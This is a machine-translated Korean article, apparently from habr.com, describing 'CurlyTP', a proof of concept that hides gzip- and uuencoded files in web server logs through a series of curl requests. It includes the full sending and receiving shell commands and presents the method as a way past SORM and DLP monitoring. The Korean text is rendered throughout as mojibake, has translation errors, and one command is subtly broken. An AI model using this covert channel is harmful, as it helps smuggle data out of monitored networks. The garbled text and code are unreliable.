์„œ๋ฒ„ ๋กœ๊ทธ๋ฅผ ํ†ตํ•œ ๋น„๋ฐ€ ๋ฉ”์‹œ์ง€ ๊ตํ™˜

์œ„ํ‚คํ”ผ๋””์•„ ์ •์˜์— ๋”ฐ๋ฅด๋ฉด ๋ฐ๋“œ ๋“œ๋กญ์€ ๋น„๋ฐ€ ์žฅ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‚ฌ๋žŒ๋“ค ์‚ฌ์ด์— ์ •๋ณด๋‚˜ ์ผ๋ถ€ ํ•ญ๋ชฉ์„ ๊ตํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์Œ๋ชจ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์‚ฌ๋žŒ๋“ค์€ ์ ˆ๋Œ€ ๋งŒ๋‚˜์ง€ ์•Š์ง€๋งŒ ์šด์˜ ์•ˆ์ „์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ์ „ํžˆ ์ •๋ณด๋ฅผ ๊ตํ™˜ํ•œ๋‹ค๋Š” ์•„์ด๋””์–ด์ž…๋‹ˆ๋‹ค.

์€์‹ ์ฒ˜๋Š” ์ฃผ์˜๋ฅผ ๋Œ๋ฉด ์•ˆ ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์˜คํ”„๋ผ์ธ ์„ธ๊ณ„์—์„œ๋Š” ๋ฒฝ์— ๋ถ™์€ ํ—๊ฑฐ์šด ๋ฒฝ๋Œ, ๋„์„œ๊ด€ ์ฑ…, ๋‚˜๋ฌด ์† ๊ตฌ๋ฉ ๋“ฑ ์‹ ์ค‘ํ•œ ๋ฌผ๊ฑด์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

์ธํ„ฐ๋„ท์—๋Š” ๋งŽ์€ ์•”ํ˜ธํ™” ๋ฐ ์ต๋ช…ํ™” ๋„๊ตฌ๊ฐ€ ์žˆ์ง€๋งŒ ์ด๋Ÿฌํ•œ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ์‚ฌ์‹ค ์ž์ฒด๊ฐ€ ์ฃผ๋ชฉ์„ ๋Œ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ธฐ์—…์ด๋‚˜ ์ •๋ถ€ ์ฐจ์›์—์„œ ์ฐจ๋‹จ๋  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฌด์—‡์„ ํ•ด์•ผ ํ• ๊นŒ์š”?

๊ฐœ๋ฐœ์ž Ryan Flowers๋Š” ํฅ๋ฏธ๋กœ์šด ์˜ต์…˜์„ ์ œ์•ˆํ–ˆ์Šต๋‹ˆ๋‹ค. ์›น ์„œ๋ฒ„๋ฅผ ์€์‹ ์ฒ˜๋กœ ์‚ฌ์šฉ. ์ƒ๊ฐํ•ด ๋ณด๋ฉด ์›น ์„œ๋ฒ„๋Š” ์–ด๋–ค ์ผ์„ ํ• ๊นŒ์š”? ์š”์ฒญ์„ ๋ฐ›๊ณ , ํŒŒ์ผ์„ ๋ฐœํ–‰ํ•˜๊ณ , ๋กœ๊ทธ๋ฅผ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ชจ๋“  ์š”์ฒญ์„ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ์‹ฌ์ง€์–ด ์ž˜๋ชป๋œ ๊ฒƒ๋“ค๋„!

๋ชจ๋“  ์›น ์„œ๋ฒ„์—์„œ๋Š” ๊ฑฐ์˜ ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ๋กœ๊ทธ์— ์ €์žฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. ๊ฝƒ๋“ค์€ ์ด๊ฒƒ์„ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉํ•˜๋Š”์ง€ ๊ถ๊ธˆํ•ดํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ต์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

  1. ํ…์ŠคํŠธ ํŒŒ์ผ(๋น„๋ฐ€ ๋ฉ”์‹œ์ง€)์„ ๊ฐ€์ ธ์™€์„œ ํ•ด์‹œ(md5sum)๋ฅผ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค.
  2. ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(gzip+uuencode).
  3. ์„œ๋ฒ„์— ์˜๋„์ ์œผ๋กœ ์ž˜๋ชป๋œ ์š”์ฒญ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ๊ทธ์— ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ํŒŒ์ผ์„ ์ฝ์œผ๋ ค๋ฉด ๋‹ค์Œ ์ž‘์—…์„ ์—ญ์ˆœ์œผ๋กœ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ์„ ๋””์ฝ”๋”ฉํ•˜๊ณ  ์••์ถ•์„ ํ’€๊ณ  ํ•ด์‹œ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค(ํ•ด์‹œ๋Š” ๊ณต๊ฐœ ์ฑ„๋„์„ ํ†ตํ•ด ์•ˆ์ „ํ•˜๊ฒŒ ์ „์†ก๋  ์ˆ˜ ์žˆ์Œ).

๊ณต๋ฐฑ์€ ๋‹ค์Œ์œผ๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค. =+=์ฃผ์†Œ์— ๊ณต๋ฐฑ์ด ์—†๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ž‘์„ฑ์ž๊ฐ€ CurlyTP๋ผ๊ณ  ๋ถ€๋ฅด๋Š” ์ด ํ”„๋กœ๊ทธ๋žจ์€ ์ด๋ฉ”์ผ ์ฒจ๋ถ€ ํŒŒ์ผ์ฒ˜๋Ÿผ base64 ์ธ์ฝ”๋”ฉ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์š”์ฒญ์€ ํ‚ค์›Œ๋“œ๋กœ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ?transfer?์ˆ˜์‹ ์ž๊ฐ€ ๋กœ๊ทธ์—์„œ ์‰ฝ๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ ๋กœ๊ทธ์—์„œ ๋ฌด์—‡์„ ๋ณผ ์ˆ˜ ์žˆ๋‚˜์š”?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

์ด๋ฏธ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด ๋น„๋ฐ€ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์œผ๋ ค๋ฉด ์ž‘์—…์„ ์—ญ์ˆœ์œผ๋กœ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

์ด ํ”„๋กœ์„ธ์Šค๋Š” ์ž๋™ํ™”ํ•˜๊ธฐ ์‰ฝ์Šต๋‹ˆ๋‹ค. Md5sum์ด ์ผ์น˜ํ•˜๊ณ  ํŒŒ์ผ ๋‚ด์šฉ์„ ํ†ตํ•ด ๋ชจ๋“  ๊ฒƒ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋””์ฝ”๋”ฉ๋˜์—ˆ์Œ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

๋ฐฉ๋ฒ•์€ ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. โ€œ์ด ์—ฐ์Šต์˜ ์š”์ ์€ ๋‹จ์ˆœํ•œ ์›น ์š”์ฒญ์„ ํ†ตํ•ด ํŒŒ์ผ์ด ์ „์†ก๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ผ๋ฐ˜ ํ…์ŠคํŠธ ๋กœ๊ทธ๊ฐ€ ์žˆ๋Š” ๋ชจ๋“  ์›น ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์ฆ๋ช…ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ ๋ชจ๋“  ์›น ์„œ๋ฒ„๋Š” ์€์‹ ์ฒ˜์ž…๋‹ˆ๋‹ค!โ€๋ผ๊ณ  Flowers๋Š” ์ผ์Šต๋‹ˆ๋‹ค.

๋ฌผ๋ก  ์ด ๋ฐฉ๋ฒ•์€ ์ˆ˜์‹ ์ž๊ฐ€ ์„œ๋ฒ„ ๋กœ๊ทธ์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ์•ก์„ธ์Šค๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด ๋งŽ์€ ํ˜ธ์ŠคํŒ… ์—…์ฒด์—์„œ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ๋ฐฉ๋ฒ•?

Ryan Flowers๋Š” ์ž์‹ ์ด ์ •๋ณด ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๊ฐ€ ์•„๋‹ˆ๋ฉฐ CurlyTP์˜ ๊ฐ€๋Šฅํ•œ ์šฉ๋„ ๋ชฉ๋ก์„ ์ž‘์„ฑํ•˜์ง€ ์•Š์„ ๊ฒƒ์ด๋ผ๊ณ  ๋งํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ์—๊ฒŒ ์ด๋Š” ์šฐ๋ฆฌ๊ฐ€ ๋งค์ผ ๋ณด๋Š” ์นœ์ˆ™ํ•œ ๋„๊ตฌ๊ฐ€ ์ƒ‰๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฐœ๋… ์ฆ๋ช…์ผ ๋ฟ์ž…๋‹ˆ๋‹ค.

์‹ค์ œ๋กœ ์ด ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค๋ฅธ ์„œ๋ฒ„ "์ˆจ๊ธฐ๊ธฐ"์— ๋น„ํ•ด ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์žฅ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋””์ง€ํ„ธ ๋ฐ๋“œ ๋“œ๋กญ ๋˜๋Š” ํ•ด์ ์ƒ์ž: ์„œ๋ฒ„ ์ธก์˜ ํŠน๋ณ„ํ•œ ๊ตฌ์„ฑ์ด๋‚˜ ํŠน๋ณ„ํ•œ ํ”„๋กœํ† ์ฝœ์ด ํ•„์š”ํ•˜์ง€ ์•Š์œผ๋ฉฐ ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ์‚ฌ๋žŒ๋“ค ์‚ฌ์ด์—์„œ ์˜์‹ฌ์„ ๋ถˆ๋Ÿฌ์ผ์œผํ‚ค์ง€ ์•Š์Šต๋‹ˆ๋‹ค. SORM ๋˜๋Š” DLP ์‹œ์Šคํ…œ์ด URL์—์„œ ์••์ถ•๋œ ํ…์ŠคํŠธ ํŒŒ์ผ์„ ๊ฒ€์ƒ‰ํ•  ๊ฐ€๋Šฅ์„ฑ์€ ๊ฑฐ์˜ ์—†์Šต๋‹ˆ๋‹ค.

์ด๋Š” ์„œ๋น„์Šค ํŒŒ์ผ์„ ํ†ตํ•ด ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•˜๋Š” ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค. ๋ช‡๋ช‡ ์„ ์ง„ ๊ธฐ์—…๋“ค์ด ์–ด๋–ป๊ฒŒ ๋ฐฐ์น˜ํ–ˆ๋Š”์ง€ ๊ธฐ์–ตํ•˜์‹ค ๊ฒ๋‹ˆ๋‹ค. HTTP ํ—ค๋”์˜ ๊ฐœ๋ฐœ์ž ์ž‘์—… ๋˜๋Š” HTML ํŽ˜์ด์ง€์˜ ์ฝ”๋“œ์—์„œ.

์„œ๋ฒ„ ๋กœ๊ทธ๋ฅผ ํ†ตํ•œ ๋น„๋ฐ€ ๋ฉ”์‹œ์ง€ ๊ตํ™˜

์ผ๋ฐ˜ ์‚ฌ๋žŒ์€ ํ—ค๋”๋‚˜ HTML ์ฝ”๋“œ๋ฅผ ๋ณด์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์›น ๊ฐœ๋ฐœ์ž๋งŒ์ด ์ด ์ด์Šคํ„ฐ ์—๊ทธ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ƒ๊ฐ์ด์—ˆ์Šต๋‹ˆ๋‹ค.

์„œ๋ฒ„ ๋กœ๊ทธ๋ฅผ ํ†ตํ•œ ๋น„๋ฐ€ ๋ฉ”์‹œ์ง€ ๊ตํ™˜

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€